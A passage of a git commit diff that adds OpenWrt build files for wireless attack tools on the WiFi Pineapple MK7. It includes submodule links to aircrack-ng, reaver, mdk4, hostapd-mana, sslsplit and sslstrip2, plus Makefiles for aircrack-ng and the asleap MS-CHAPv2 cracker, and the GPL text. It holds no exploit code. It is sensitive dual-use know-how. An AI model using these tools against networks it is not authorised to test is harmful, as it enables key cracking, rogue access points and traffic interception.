lang/python/python3/patches/007-distutils-do-not-adjust-path.patch create mode 100644 lang/python/python3/patches/008-distutils-use-python-sysroot.patch create mode 100644 lang/python/python3/patches/010-do-not-add-rt-lib-dirs-when-cross-compiling.patch create mode 100644 lang/python/python3/patches/013-getbuildinfo-date-time-source-date-epoch.patch create mode 100644 lang/python/python3/patches/014-remove-platform-so-suffix.patch create mode 100644 lang/python/python3/patches/015-abort-on-failed-modules.patch create mode 100644 lang/python/python3/patches/016-adjust-config-paths.patch create mode 100644 lang/python/python3/patches/024-musl-find_library.patch create mode 100644 lang/python/python3/patches/025-bpo-34585-Dont-do-runtime-test-to-get-float-byte-order-GH-9085.patch create mode 100644 lang/python/python3/patches/026-bpo-34585-run-autoconf-GH-9411.patch create mode 100644 lang/python/ruamel-yaml/Makefile create mode 100644 lang/python/text-unidecode/Makefile create mode 100644 lang/python/vobject/Makefile create mode 100644 lang/python/xmltodict/Makefile create mode 100644 libgeoip/Makefile create mode 100644 libwebsockets/Makefile create mode 100644 libwebsockets/patches/020-fix-travis.patch create mode 160000 lrc create mode 100644 mdk3/Makefile create mode 160000 mdk3/src create mode 100644 mdk4/Makefile create mode 160000 mdk4/src create mode 100644 ngrep/Makefile create mode 160000 ngrep/src create mode 100644 pixelsrv-tls/Makefile create mode 160000 pixelsrv-tls/src create mode 100644 pixiewps-custom/Makefile create mode 160000 pixiewps-custom/src create mode 100644 python3-host.mk create mode 100644 python3-package.mk create mode 100644 python3-version.mk create mode 100644 reaver-custom/Makefile create mode 160000 reaver-custom/src create mode 100644 reghack/Makefile create mode 100644 reghack/src/Makefile create mode 100644 reghack/src/reghack.c create mode 100644 reghack/src/reghack.c.save create mode 100644 sslsplit/Makefile create mode 160000 sslsplit/src create mode 100644 sslstrip-hsts/Makefile create mode 160000 sslstrip-hsts/src diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..27ace93 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,3 @@ +# These are supported funding model platforms + +custom: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=4HJM939H9PHWW diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..36b95e7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,246 @@ + +# Created by https://www.toptal.com/developers/gitignore/api/c,c++,go,python +# Edit at https://www.toptal.com/developers/gitignore?templates=c,c++,go,python + +### C ### +# Prerequisites +*.d + +# Object files +*.o +*.ko +*.obj +*.elf + +# Linker output +*.ilk +*.map +*.exp + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex + +# Debug files +*.dSYM/ +*.su +*.idb +*.pdb + +# Kernel Module Compile Results +*.mod* +*.cmd +.tmp_versions/ +modules.order +Module.symvers +Mkfile.old +dkms.conf + +### C++ ### +# Prerequisites + +# Compiled Object files +*.slo + +# Precompiled Headers + +# Linker files + +# Debugger Files + +# Compiled Dynamic libraries + +# Fortran module files +*.mod +*.smod + +# Compiled Static libraries +*.lai + +# Executables + +### Go ### +# Binaries for programs and plugins +*.exe~ + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE + +# Dependency directories (remove the comment below to include it) +# vendor/ + +### Go Patch ### +/vendor/ +/Godeps/ + +### Python ### +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +parts/ +sdist/ +var/ +wheels/ +pip-wheel-metadata/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +pytestdebug.log + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ +doc/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +#poetry.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +# .env +.env/ +.venv/ +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ +pythonenv* + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# operating system-related files +# file properties cache/storage on macOS +*.DS_Store +# thumbnail cache on Windows +Thumbs.db + +# profiling data +.prof + + +# End of https://www.toptal.com/developers/gitignore/api/c,c++,go,python diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..1b5596e --- /dev/null +++ b/.gitmodules @@ -0,0 +1,55 @@ +[submodule "aircrack-ng-custom/src"] + path = aircrack-ng-custom/src + url = https://github.com/aircrack-ng/aircrack-ng + +[submodule "dns2proxy/src"] + path = dns2proxy/src + url = https://github.com/LeonardoNve/dns2proxy + +[submodule "hcxdumptool/src"] + path = hcxdumptool/src + url = https://github.com/ZerBea/hcxdumptool + +[submodule "hcxtools/src"] + path = hcxtools/src + url = https://github.com/ZerBea/hcxtools + +[submodule "hcxlabtools/src"] + path = hcxlabtools/src + url = https://github.com/ZerBea/wifi_laboratory + +[submodule "hostapd-mana/src"] + path = hostapd-mana/src + url = https://github.com/adde88/hostapd-mana + +[submodule "mdk3/src"] + path = mdk3/src + url = https://github.com/aircrack-ng/mdk3 + +[submodule "mdk4/src"] + path = mdk4/src + url = https://github.com/aircrack-ng/mdk4 + +[submodule "ngrep/src"] + path = ngrep/src + url = https://github.com/jpr5/ngrep + +[submodule "pixelsrv-tls/src"] + path = pixelsrv-tls/src + url = https://github.com/kvic-z/pixelserv-tls + +[submodule "pixiewps-custom/src"] + path = pixiewps-custom/src + url = https://github.com/wiire-a/pixiewps + +[submodule "reaver-custom/src"] + path = reaver-custom/src + url = https://github.com/t6x/reaver-wps-fork-t6x + +[submodule "sslsplit/src"] + path = sslsplit/src + url = https://github.com/droe/sslsplit + +[submodule "sslstrip-hsts/src"] + path = sslstrip-hsts/src + url = https://github.com/byt3bl33d3r/sslstrip2 diff --git a/README.md b/README.md index b412fa4..1134b62 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,20 @@ -# openwrt-useful-tools-src -Makefiles, and source-codes for my openwrt-useful-tools repo. +# WiFi Pineapple MK7 - Useful Tools Source +# OpenWRT 19.07 + +## (For WiFi Pineapple MK7 Firmware *v1.0.0 or above*) +--- +This is the source/Makefiles for my openwrt-useful-tools repository! +This was created due to many requests for the Makefiles i'm using. +--- +## Stargazers over time + +[![Stargazers over time](https://starchart.cc/adde88/openwrt-useful-tools-src.svg)](https://starchart.cc/adde88/openwrt-useful-tools-src) + +--- +#### Donations: +Are VERY MUCH appreciated! +Alot of my spare-time goes to keeping software up-to-date with the Pineapples, and helping out the community in general! +It really helps me so i can continue on with this work. :) + + +[![paypal](https://www.paypalobjects.com/en_US/NO/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=4HJM939H9PHWW) diff --git a/aircrack-ng-custom/Config.in b/aircrack-ng-custom/Config.in new file mode 100644 index 0000000..eb68153 --- /dev/null +++ b/aircrack-ng-custom/Config.in @@ -0,0 +1,38 @@ +if PACKAGE_aircrack-ng-custom + +comment "SSL support" + +choice + prompt "Select SSL library" + default AIRCRACK_NG_CUSTOM_OPENSSL + + config AIRCRACK_NG_CUSTOM_OPENSSL + bool "openssl" + + config AIRCRACK_NG_CUSTOM_GCRYPT + bool "gcrypt" +endchoice + +config AIRCRACK_NG_CUSTOM_OPTIMIZE_SPEED + bool "Optimize for speed" + default y + help + This enables additional optimization and + increases performance considerably at the + expense of binary size. + +comment "Miscellaneous" + +config AIRCRACK_NG_CUSTOM_HWLOC + bool "Hwloc support" + default y + +config AIRCRACK_NG_CUSTOM_SQLITE3 + bool "Sqlite3 support" + default y + +config AIRCRACK_NG_CUSTOM_EXPERIMENTAL + bool "Compile additional experimental tools" + default y + +endif diff --git a/aircrack-ng-custom/Makefile b/aircrack-ng-custom/Makefile new file mode 100644 index 0000000..1f2886c --- /dev/null +++ b/aircrack-ng-custom/Makefile @@ -0,0 +1,122 @@ +# +# Copyright (C) 2006-2015 OpenWrt.org +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=aircrack-ng-custom +PKG_VERSION:=1.6 +PKG_RELEASE:=3 +PKG_LICENSE:=GPL-2.0-or-later +PKG_LICENSE_FILES:=LICENSE +PKG_CPE_ID:=cpe:/a:aircrack-ng:aircrack-ng + +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) +PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION) + +PKG_BUILD_PARALLEL:=1 +PKG_INSTALL:=1 + +PKG_MAINTAINER:=Andreas Nilsen + +PKG_FIXUP:=autoreconf + +PKG_CONFIG_DEPENDS:= \ + CONFIG_AIRCRACK_NG_CUSTOM_GCRYPT \ + CONFIG_AIRCRACK_NG_CUSTOM_OPENSSL \ + \ + CONFIG_AIRCRACK_NG_CUSTOM_OPTIMIZE_SPEED \ + \ + CONFIG_AIRCRACK_NG_CUSTOM_HWLOC \ + CONFIG_AIRCRACK_NG_CUSTOM_SQLITE3 \ + CONFIG_AIRCRACK_NG_CUSTOM_EXPERIMENTAL + +include $(INCLUDE_DIR)/uclibc++.mk +include $(INCLUDE_DIR)/package.mk + +define Package/aircrack-ng-custom + SECTION:=net + CATEGORY:=Network + DEPENDS:=+AIRCRACK_NG_CUSTOM_HWLOC:libhwloc +libpcap +libpcre +libpthread $(CXX_DEPENDS) + DEPENDS += +AIRCRACK_NG_CUSTOM_OPENSSL:libopenssl + DEPENDS += +AIRCRACK_NG_CUSTOM_GCRYPT:libgcrypt + DEPENDS += +AIRCRACK_NG_CUSTOM_SQLITE3:libsqlite3 + DEPENDS += +libnl-core +libnl-genl +zlib + TITLE:=WLAN tools (without airmon-ng) for breaking 802.11 WEP/WPA keys + URL:=https://www.aircrack-ng.org/ + SUBMENU:=Wireless +endef + +define Package/aircrack-ng-custom/description + WLAN tools for breaking 802.11 WEP/WPA keys +endef + +define Package/aircrack-ng-custom/config + source "$(SOURCE)/Config.in" +endef + +define Package/airmon-ng-custom + SECTION:=net + CATEGORY:=Network + DEPENDS:=+wireless-tools +ethtool +procps-ng +CONFIG_PCI_SUPPORT:pciutils +CONFIG_USB_SUPPORT:usbutils + TITLE:=Bash script designed to turn wireless cards into monitor mode. + URL:=http://www.aircrack-ng.org/ + SUBMENU:=Wireless +endef + +define Package/airmon-ng-custom/description + Bash script designed to turn wireless cards into monitor mode. +endef + +define Build/Prepare + mkdir -p $(PKG_BUILD_DIR) + $(CP) -rf ./src/* $(PKG_BUILD_DIR)/ + $(call Build/Prepare/Default) + echo "$(PKG_VERSION)_rev$(PKG_SOURCE_VERSION)" > $(PKG_BUILD_DIR)/VERSION +endef + +CONFIGURE_ARGS += \ + --disable-silent-rules \ + --enable-shared \ + --with-experimental \ + --with-libpcap-include=$(STAGING_DIR)/usr/include \ + --with-libpcap-lib=$(STAGING_DIR)/usr/lib \ + --without-opt \ + \ + PYTHON=$(PYTHON) \ + \ + $(if $(CONFIG_AIRCRACK_NG_CUSTOM_OPENSSL),,--without-openssl) \ + $(if $(CONFIG_AIRCRACK_NG_CUSTOM_GCRYPT),--with-gcrypt,--without-gcrypt) \ + $(if $(CONFIG_AIRCRACK_NG_CUSTOM_HWLOC),--enable-hwloc,--disable-hwloc) \ + $(if $(CONFIG_AIRCRACK_NG_CUSTOM_SQLITE3),--with-sqlite3=$(STAGING_DIR)/usr,--without-sqlite3) \ + $(if $(CONFIG_AIRCRACK_NG_CUSTOM_EXPERIMENTAL),--with-experimental,--without-experimental) + +TARGET_CFLAGS += -Wall -Wextra -ffunction-sections -fdata-sections + +ifeq ($(CONFIG_AIRCRACK_NG_CUSTOM_OPTIMIZE_SPEED),y) + TARGET_CFLAGS := $(filter-out -O%,$(TARGET_CFLAGS)) -O3 +endif + +TARGET_LDFLAGS+= \ + -Wl,--gc-sections + +define Package/aircrack-ng-custom/install + $(INSTALL_DIR) $(1)/usr/bin + $(INSTALL_DIR) $(1)/usr/sbin + $(INSTALL_DIR) $(1)/usr/lib + $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/bin/* $(1)/usr/bin/ + $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/sbin/* $(1)/usr/sbin/ + $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/lib/* $(1)/usr/lib/ +# rm -f $(1)/usr/sbin/airmon-ng +endef + +#define Package/airmon-ng-custom/install +# $(INSTALL_DIR) $(1)/usr/sbin +# $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/sbin/airmon-ng $(1)/usr/sbin/ +#endef + +$(eval $(call BuildPackage,aircrack-ng-custom)) +#$(eval $(call BuildPackage,airmon-ng-custom)) diff --git a/aircrack-ng-custom/patches/001-fix-openssl-autotools-detection.patch b/aircrack-ng-custom/patches/001-fix-openssl-autotools-detection.patch new file mode 100644 index 0000000..5bff516 --- /dev/null +++ b/aircrack-ng-custom/patches/001-fix-openssl-autotools-detection.patch @@ -0,0 +1,23 @@ +--- a/build/m4/aircrack_ng_crypto.m4 ++++ b/build/m4/aircrack_ng_crypto.m4 +@@ -49,7 +49,19 @@ if test "x$static_crypto" != "xno"; then + AX_EXT_HAVE_STATIC_LIB(ZLIB, ${DEFAULT_STATIC_LIB_SEARCH_PATHS}, z libz, compress) + AX_EXT_HAVE_STATIC_LIB(OPENSSL, ${DEFAULT_STATIC_LIB_SEARCH_PATHS}, crypto libcrypto, HMAC, -lz -ldl) + else +- AX_CHECK_OPENSSL([OPENSSL_FOUND=yes],[OPENSSL_FOUND=no]) ++ AC_CHECK_LIB([crypto], [OPENSSL_init], [ ++ OPENSSL_LIBS="-lcrypto" ++ OPENSSL_LDFLAGS="" ++ ++ AC_CHECK_HEADERS([openssl/crypto.h], [ ++ OPENSSL_FOUND=yes ++ OPENSSL_INCLUDES="" ++ ], [ ++ AX_CHECK_OPENSSL([OPENSSL_FOUND=yes],[OPENSSL_FOUND=no]) ++ ]) ++ ], [ ++ AX_CHECK_OPENSSL([OPENSSL_FOUND=yes],[OPENSSL_FOUND=no]) ++ ]) + + AX_LIB_GCRYPT + fi diff --git a/aircrack-ng-custom/src b/aircrack-ng-custom/src new file mode 160000 index 0000000..d5e054f --- /dev/null +++ b/aircrack-ng-custom/src @@ -0,0 +1 @@ +Subproject commit d5e054ff402db8018e2e3d86cc95c0ff6b9924fe diff --git a/asleap/Makefile b/asleap/Makefile new file mode 100644 index 0000000..fe6c9be --- /dev/null +++ b/asleap/Makefile @@ -0,0 +1,59 @@ +# +# Copyright (C) 2019 Andreas Nilsen +# +# This is free software, licensed under the GNU General Public License v2. +# See /LICENSE for more information. +# + +include $(TOPDIR)/rules.mk + +PKG_NAME:=asleap +PKG_VERSION:=2.2 +PKG_RELEASE:=4 + +PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION) +PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION) + +PKG_LICENSE:=GPL-2.0 +PKG_LICENSE_FILES:=COPYING + +PKG_MAINTAINER:=Andreas Nilsen + +include $(INCLUDE_DIR)/package.mk + +define Package/asleap + SECTION:=base + CATEGORY:=Network + SUBMENU:=Wireless + TITLE:=Generic MS-CHAPv2 cracking tool, with pcap support. + URL:=http://www.willhackforsushi.com + DEPENDS:=+libpthread +libopenssl +libpcap +endef + +define Package/asleap/description + A generic MS-CHAPv2 cracking tool. + Can be applied anytime you have a MS-CHAPv2 packet capture available. +endef + +define Build/Prepare + mkdir -p $(PKG_BUILD_DIR) + $(CP) -rf ./src/* $(PKG_BUILD_DIR)/ +endef + +define Build/RunMake + CFLAGS="$(TARGET_CPPFLAGS) $(TARGET_CFLAGS)" \ + $(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR)/$(1) \ + CC="$(TARGET_CC)" \ + $(TARGET_CONFIGURE_OPTS) \ + LIBS="$(TARGET_LDFLAGS)" \ + LIBS_c="$(TARGET_LDFLAGS_C)" \ + BCHECK= \ + $(2) +endef + +define Package/asleap/install + $(INSTALL_DIR) $(1)/usr/sbin + $(INSTALL_BIN) $(PKG_BUILD_DIR)/asleap $(1)/usr/sbin/ +endef + +$(eval $(call BuildPackage,asleap)) diff --git a/asleap/src/COPYING b/asleap/src/COPYING new file mode 100644 index 0000000..60549be --- /dev/null +++ b/asleap/src/COPYING @@ -0,0 +1,340 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) 19yy + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) 19yy name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/asleap/src/Makefile b/asleap/src/Makefile new file mode 100644 index 0000000..f157540 --- /dev/null +++ b/asleap/src/Makefile @@ -0,0 +1,42 @@ +################################## +# Well, I may be doing stupid things with make +# OK, it was Makefile stupid'ness +# I don't really understand what the hell I am doing with Make, I'm +# just copying other files and seeing what works. +# heh +# i think thats all anyone does +# make is a twisted beast +################################## +LDLIBS = -lpcap -lcrypt +CFLAGS = -pipe -Wall -D_LINUX -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -I../../.. -static +CFLAGS += -D_OPENSSL_MD4 +LDLIBS += -lcrypto -static +CFLAGS += +PROGOBJ = 